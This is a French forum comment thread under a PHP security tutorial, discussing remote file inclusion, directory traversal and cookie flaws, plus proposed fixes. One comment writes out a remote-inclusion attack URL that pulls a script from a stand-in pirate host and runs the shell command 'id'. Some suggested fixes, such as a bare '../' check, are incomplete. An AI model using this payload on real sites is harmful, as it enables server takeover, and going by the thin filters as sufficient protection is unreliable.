Normal que ca ne marche pas chez moi, je dois remplacer quoi chez moi, en sachant que c'est menu.php que je veux include ?[/QUOTE]

Pareil pour moi !!!! pouvez vous faire un exemple ??

signaler à un administrateur
Commentaire de winsion le 25/09/2006 14:23:28

A l'attention d'AZHERTY...

J'ai été victime de la faille "include"...
En fait le hacker ce sert de votre url et une autre url avec un code...
Quand il execute la page, elle lui indique le type de serveur, etc... (pour moi c'était linux)
Ensuite en bas de la page il y a un prompt (connu des utilisateur de dos, les vieux comme moi quoi :))
Il ne reste plus qu'à lancer une commande linux (genre pour lister le répertoire et ajouter des fichiers" à la fin de l'url... ex:
http://www.votresite.fr/index.php?page=http://www.sitepirate.com/img.gif?&cmd=id
(id c'est une commande linux)
Heureusement j'ai découvert cette page dans mes logs !!! cela ma permit de voir comment ça fonctionné et d'utiliser le script de killmaster.

signaler à un administrateur
Commentaire de AzertyH le 04/10/2006 01:14:20

Merci pour ta réponse Winsion. J'ai compris quelques truck depuis la dernière foi, mais bonjour la galère et le temps passé sur les nombreux forums et tutos.
Afin de contrer une faille de type include j'ai trouvé une solution plus pratique et facile:
Dans php.ini, configurer le paramettre suivant : alloow_url_fopen=off
ceci a pour but d'interdire l’ouverture de fichiers distants de type :
http://www.votresite.com/index.php?page=http://www.sitepirate.com/

Pouvez vous me dire si cette mettode corrige bien ce problème?
Merci

signaler à un administrateur
Commentaire de Jayadeva le 20/01/2007 00:04:22

>de plus, le code oblige l'extention .php pour vos scripts, hors, rien n'est possible avec un fichier .php (enfin, pas grand chose, l'exploitation d'une faille XSS tout au plus, je developperais en dessous.)
>
>// Update : Pour ceux qui se demandent pourquoi l'utilisation d'un fichier php distant rend impossible l'exécution de codes malveillantes, je vais expliquer la situation brièvement : Quand le pirate tentera d'include son script, qui contiendra par exemple une commande pour supprimer votre fichier index.php (à savoir unlink("index.php"), le script s'exécutera dans un premier temps, sur son serveur puis ensuite sera inclu sur votre page. Ainsi, si son code ne contient que la commande de suppression de la page index.php, cela reviendra à include un fichier vierge, il lui sera simplement impossible d'executer un code PHP sur votre serveur..

J'aimerai réagir. Ce passage est on ne peu plus faux, essayez d'inclure un fichier .php avec un serveur qui ne gère pas le php le fera s'afficher comme un fichier texte. La protection mise en place grâce a ce tuto est détruite et vous avez donc une faille.

Pour y remédier, il suffit de tester si le fichier est présent sur la machine avec la fonction '''file_exists("Mon/chemin/$page");'''
Ceci vous protégera car si quelqu'un cherche a inclure une page d'un serveur externe, la fonction '''file_exists''' retournera ''false'' vu qu'elle ne gère pas les url distantes.

Dans le cas d'une attaque interne (un autre utilisateur sur le même serveur), il faudra faire plus attention. La fonction '''file_exists''' devient inutile. Ici, il faudra regarder si $page ne contient pas de partie du style "../". En effet, sur un système unix, si je demande ce fichier :
/home/Mogwai/public_html/mon/petit/chez/moi/../../../../index.php
J'aurai en fait, celui-ci:
/home/Mogwai/public_html/index.php

Donc, un simple '''if (strpos($page,"../")===false)''' fera l'affaire.

signaler à un administrateur
Commentaire de DreamPush le 16/03/2007 00:13:46

Bonjour,

Je sais, ce tutorial date de 2005. Mais c'est bien bête qu'en particulier la partie 7 "La faille require() par Savory" soit dite en refonte c'est-à-dire absente : elle m'aurait bien intéressée...

Dans tous les cas, excellent tutorial ! Merci et Bon code à tous.

signaler à un administrateur
Commentaire de fransuisse le 22/05/2008 16:33:29

5. La faille cookies ? Que nenni ! Par Juliian

je pense qu'il y a encore plus simple pour cette faille c'est de tester l'adresse IP de l'utilisateur en la stockant a la connexion dans la session et de la tester a chaque page par $_SERVER['REMOTE_ADDR']

Ajouter un commentaire



Nos sponsors

Sondage...

CalendriCode

Octobre 2008
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel BAÏSE, Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,016 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.